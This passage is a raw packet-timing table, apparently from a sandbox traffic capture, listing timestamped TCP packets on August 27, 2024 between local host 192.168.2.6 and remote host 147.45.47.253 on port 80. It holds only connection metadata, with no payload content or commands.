Aug 27, 2024 20:12:06.844312906 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.844319105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.844326019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.844333887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.844362020 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.844378948 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.844439030 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.844446898 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.844496012 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.844584942 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.844593048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.844604969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.844610929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.844616890 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.844630957 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.844636917 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.844646931 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.844650030 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.844655037 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.844664097 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.844664097 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.844688892 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.844706059 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.845073938 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845081091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845093012 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845098972 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845105886 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845112085 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845119953 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845133066 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845134974 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.845156908 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.845175028 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.845347881 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845355988 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845375061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845381975 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845400095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845407009 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845408916 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.845416069 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845422029 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845428944 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845429897 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.845452070 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.845472097 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.845782995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845791101 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845802069 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845808983 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845814943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845820904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845834017 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845840931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.845843077 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.845869064 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.845880032 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.845907927 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.846100092 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.846107960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.846120119 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.846126080 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.846132994 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.846144915 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.846153021 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.846158028 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.846159935 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.846188068 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.846204996 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.846400023 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.846406937 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.846420050 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.846426964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.846437931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.846443892 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.846460104 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.846462011 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.846492052 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.846503019 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.847537994 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.847599030 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.847603083 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.847605944 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.847647905 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.847820044 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.847826004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.847866058 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.847872972 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.847877026 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.847882032 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.847903967 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.847922087 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.849566936 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.849584103 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.849591017 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.849630117 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.849654913 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.849704027 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.849709988 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.849715948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.849723101 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.849751949 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.849776030 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.849811077 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.849864960 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.849895000 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.849903107 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.849915028 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.849921942 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.849929094 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.849956036 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.849982977 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.850085020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850090981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850102901 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850109100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850115061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850121975 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850135088 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850146055 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.850157976 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.850178957 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.850310087 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850316048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850327969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850333929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850342989 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850347996 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850361109 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.850389004 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.850447893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850492954 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.850568056 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850574970 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850585938 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850593090 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850598097 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850604057 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850617886 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850625038 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850627899 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.850630999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.850661039 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.930257082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.930303097 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.930309057 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.930352926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.930362940 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.930385113 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.930409908 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.930417061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.930421114 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.930423021 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.930430889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.930469990 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.930645943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.930651903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.930665970 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.930671930 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.930679083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.930685997 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.930699110 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.930802107 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.930808067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.930825949 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.930833101 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.930845022 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.930850029 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.930859089 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.930874109 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.930886030 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.930903912 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.930927038 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.930986881 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931035995 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.931107998 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931114912 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931127071 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931133032 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931139946 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931148052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931160927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931165934 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931169987 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.931171894 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931179047 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931210041 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.931221008 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.931397915 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931405067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931416035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931421041 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931427002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931459904 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.931461096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931468964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931480885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931483984 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.931488037 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931495905 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931518078 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.931548119 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.931730986 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931737900 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931749105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931761980 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931778908 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931785107 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931792021 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931794882 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.931799889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931812048 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.931813002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931818962 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.931835890 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.931864023 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.932010889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.932054996 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.932082891 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.932090998 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.932102919 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.932109118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.932142019 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.932435036 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.932441950 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.932449102 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.932616949 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.932954073 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.932962894 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.932974100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.933018923 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.933044910 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.933079004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.933104992 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.933116913 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.933121920 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.933166981 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.933253050 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.933257103 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.933262110 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.933263063 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.933267117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.933300972 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.933332920 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.934264898 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.934271097 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.934278011 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.934320927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.934331894 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.934370995 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.934389114 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.934396029 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.934425116 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.934433937 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.934468031 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.936151028 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936223984 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.936269045 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936275005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936286926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936332941 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.936350107 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936357021 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936398029 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.936512947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936518908 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936527014 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936568975 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.936597109 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936603069 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936609983 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936618090 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936642885 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.936654091 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.936692953 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936733007 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.936764002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936770916 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936834097 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.936834097 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.936929941 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936938047 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936949968 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936955929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936961889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936966896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936974049 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936980963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936981916 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.936986923 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.936995029 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.937019110 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.937033892 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.937061071 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.937134981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.937141895 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.937191010 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.937203884 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.937253952 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.937361002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.937370062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.937381983 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.937387943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.937395096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.937402964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.937416077 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.937424898 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.937458038 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.017369986 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.017431021 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.017436981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.017437935 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.017450094 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.017481089 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.017657042 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.017663002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.017668009 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.017673969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.017684937 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.017697096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.017703056 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.017714977 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.017738104 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.017752886 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.017949104 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.017954111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.017966032 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.017970085 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.017976046 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.017987967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.018002033 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.018002987 CEST	80	49710	147.45.47.253	192.168.2.6
